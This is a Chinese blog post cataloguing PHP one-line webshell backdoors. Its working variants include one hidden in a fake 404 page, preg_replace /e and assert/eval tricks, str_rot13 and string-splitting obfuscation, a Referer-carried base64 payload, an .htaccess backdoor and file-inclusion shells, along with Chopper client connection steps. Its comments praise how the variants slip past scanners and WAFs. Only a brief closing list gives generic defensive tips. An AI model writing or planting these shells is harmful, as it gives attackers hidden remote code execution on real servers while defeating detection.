天天看點

PHP一句話後門

1、利用404頁面隐藏一句話

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
<?php
@preg_replace("/[pageerror]/e",$_POST['error'],"saft");
header('HTTP/1.1 404 Not Found');
?>
           

2、無特征隐藏一句話

<?php
session_start();
$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);
$_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');

/*
将$_POST['code']的内容指派給$_SESSION['theCode'],然後執行$_SESSION['theCode'],亮點是沒有特征碼。用掃描工具來檢查代碼的話,是不會報警的,達到目的了。
*/
           

3、進階隐藏一句話

$_GET[a]($_GET[b]);

利用方法:
?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%    29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};
           
/*
執行後目前目錄生成c.php一句話木馬,當傳參a為eval時會報錯木馬生成失敗,為assert時同樣報錯,但會生成木馬,真可謂不可小視,簡簡單單的一句話,被延伸到這般應用。
*/
           

4、層級請求,編碼運作一句話

/*此方法用兩個檔案實作
檔案1
*/
<?php
//1.php
header('Content-type:text/html;charset=utf-8');
parse_str($_SERVER['HTTP_REFERER'], $a);
if(reset($a) == '10' && count($a) == 9) {
   eval(base64_decode(str_replace(" ", "+", implode(array_slice($a, 6)))));
}
檔案2

<?php
//2.php
header('Content-type:text/html;charset=utf-8');
//要執行的代碼
$code = <<<CODE
phpinfo();
CODE;
//進行base64編碼
$code = base64_encode($code);
//構造referer字元串
$referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=";
//後門url
$url = 'http://localhost/test1/1.php';
$ch = curl_init();
$options = array(
    CURLOPT_URL => $url,
    CURLOPT_HEADER => FALSE,
    CURLOPT_RETURNTRANSFER => TRUE,
    CURLOPT_REFERER => $referer
);
curl_setopt_array($ch, $options);
echo curl_exec($ch);
/*
通過HTTP請求中的HTTP_REFERER來運作經過base64編碼的代碼,來達到後門的效果,一般waf對referer這些檢測要松一點,或者沒有檢測。用這個思路bypass waf不錯。
*/
           

5、三個變形的一句話木馬

第一個

<?php ([email protected]$_GET[2])[email protected]$_($_POST[1])?>
在菜刀裡寫http://site/1.php?2=assert密碼是1

第二個

<?php
$_="";
$_[+""]='';
$_="$_"."";
$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");
?>
<?php ${'_'.$_}['_'](${'_'.$_}['__']);?>
在菜刀裡寫http://site/2.php?_=assert&__=eval($_POST['pass']) 密碼是pass。

如果你用菜刀的附加資料的話更隐蔽,或者用其它注射工具也可以,因為是post送出的。

第三個

($b4dboy = $_POST['b4dboy']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($b4dboy)', 'add');
str_rot13(‘riny’)即編碼後的eval,完全避開了關鍵字,又不失效果,讓人吐血!
           

6、.htaccess做木馬後門

AddType application/x-httpd-php .htaccess
###### SHELL ###### 這裡寫上你的後門吧###### LLEHS ######
           

7、特殊php一句話

1、
$hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
$hh("/[discuz]/e",$_POST['h'],"Access");
//菜刀一句話
2、
$filename=$_GET['xbid'];
include ($filename);
//危險的include函數,直接編譯任何檔案為php格式運作
3、
$reg="c"."o"."p"."y";
$reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);
//重命名任何檔案
4、
$gzid = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
$gzid("/[discuz]/e",$_POST['h'],"Access");
//菜刀一句話
5、include ($uid);
//危險的include函數,直接編譯任何檔案為php格式運作,POST www.xxx.com/index.php?uid=/home/www/bbs/image.gif
//gif插一句話
6、典型一句話
程式後門代碼
<?php eval_r($_POST[sb])?>
程式代碼
<?php @eval_r($_POST[sb])?>
//容錯代碼
程式代碼
<?php assert($_POST[sb]);?>
//使用lanker一句話用戶端的專家模式執行相關的php語句
程式代碼
<?$_POST['sa']($_POST['sb']);?>
程式代碼
<?$_POST['sa']($_POST['sb'],$_POST['sc'])?>
程式代碼
<?php
@preg_replace("/[email]/e",$_POST['h'],"error");
?>
//使用這個後,使用菜刀一句話用戶端在配置連接配接的時候在"配置"一欄輸入
程式代碼
<O>[email protected]_r($_POST1);</O>
程式代碼
<script language="php">@eval_r($_POST[sb])</script>
//繞過<?限制的一句話
           

最後,如何應對php後門

1、對PHP程式編寫要有安全意識
2、伺服器日志檔案要經常看,經常備份
3、對每個站點進行嚴格的權限配置設定
4、對動态檔案及目錄經常批量安全審查
5、學會如何進行手工殺毒《即行為判斷清除》
6、時刻關注,或滲入活躍的網絡安全營地
7、對伺服器環境層級化處理,哪怕一個函數也可做規則
           

繼續閱讀